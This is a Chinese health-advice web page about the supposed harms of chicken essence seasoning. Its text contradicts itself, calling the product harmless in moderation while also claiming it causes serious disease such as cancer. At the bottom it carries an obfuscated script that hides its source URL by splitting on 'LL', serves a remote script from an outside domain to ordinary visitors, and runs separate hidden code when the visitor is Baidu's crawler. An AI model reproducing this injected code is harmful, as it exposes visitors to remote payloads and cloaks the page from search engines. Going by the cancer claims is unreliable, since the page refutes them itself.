當(dāng)前位置:首頁(yè) > 飲食 > 健康飲食 > 正文

雞精對(duì)人體的危害有哪些

2017-04-21 19:41:43  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):可能我們?nèi)粘W霾说臅r(shí)候都會(huì)放一些雞精,雞精是一種調(diào)味品,可以增加我們做出來(lái)的蔬菜的口感和美味,但是雞精是有化學(xué)成分制作而成的對(duì)我們

可能我們?nèi)粘W霾说臅r(shí)候都會(huì)放一些雞精,雞精是一種調(diào)味品,可以增加我們做出來(lái)的蔬菜的口感和美味,但是雞精是有化學(xué)成分制作而成的對(duì)我們身體可能會(huì)有很大的危害,很多人都是長(zhǎng)期食用雞精,出現(xiàn)了很大的疾病例如癌癥等各種各樣的的問(wèn)題,下面就讓我們一起了解一下雞精對(duì)人體的危害影響吧。

從衛(wèi)生角度講,雞精對(duì)人體是無(wú)毒無(wú)害的,雞精在烹飪過(guò)程中,對(duì)使用它的條件,較味精要寬松許多。雞精可以用于任何味精的使用場(chǎng)合,適量加入到菜肴、湯、面食中,均有較好的增鮮作用,尤其是在湯中火鍋中加入雞精熬制,其香氣、滋味相互適應(yīng),令人食欲大開(kāi)。

但在烹調(diào)時(shí),如果加入過(guò)多雞精,則會(huì)破壞菜肴原有的味道而影響口味。雞精在使用中也要注意以下幾點(diǎn):1.雞精中含有10%左右的鹽,所以食物在加雞精前加鹽要適量。2.雞精含核苷酸,它的代謝產(chǎn)物就是尿酸,所以患痛風(fēng)者應(yīng)適量減少對(duì)其的攝入;3.雞精溶解性較味精差,如在湯水中使用時(shí),應(yīng)先經(jīng)溶解后再使用,只有這樣才能被味覺(jué)細(xì)胞更好地感知;4.雞精中含有鹽,且吸濕性強(qiáng),用后要注意密封,否則富含營(yíng)養(yǎng)的雞精會(huì)生長(zhǎng)大量微生物而污染食物。

味精和雞精,一個(gè)是只含有單一的氨基酸谷氨酸鈉的調(diào)味品,一個(gè)是從雞肉里提取的混合有多種氨基酸的調(diào)味品,兩者一般都可放心食用。但需掌握的原則是,都不要過(guò)量食用,因?yàn)榇蠹以谙硎苊牢兜耐瑫r(shí),不能忽視健康。

雞精對(duì)人體的危害影響是非常巨大的,我們經(jīng)常喜歡吃雞精的朋友一定要對(duì)于這些內(nèi)容引起高度重視,盡量減少雞精的使用,可以選擇一些其他的調(diào)味兒品,同樣可以幫助我們提高飯菜的美味兒減少對(duì)于我們自身身體的傷害。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}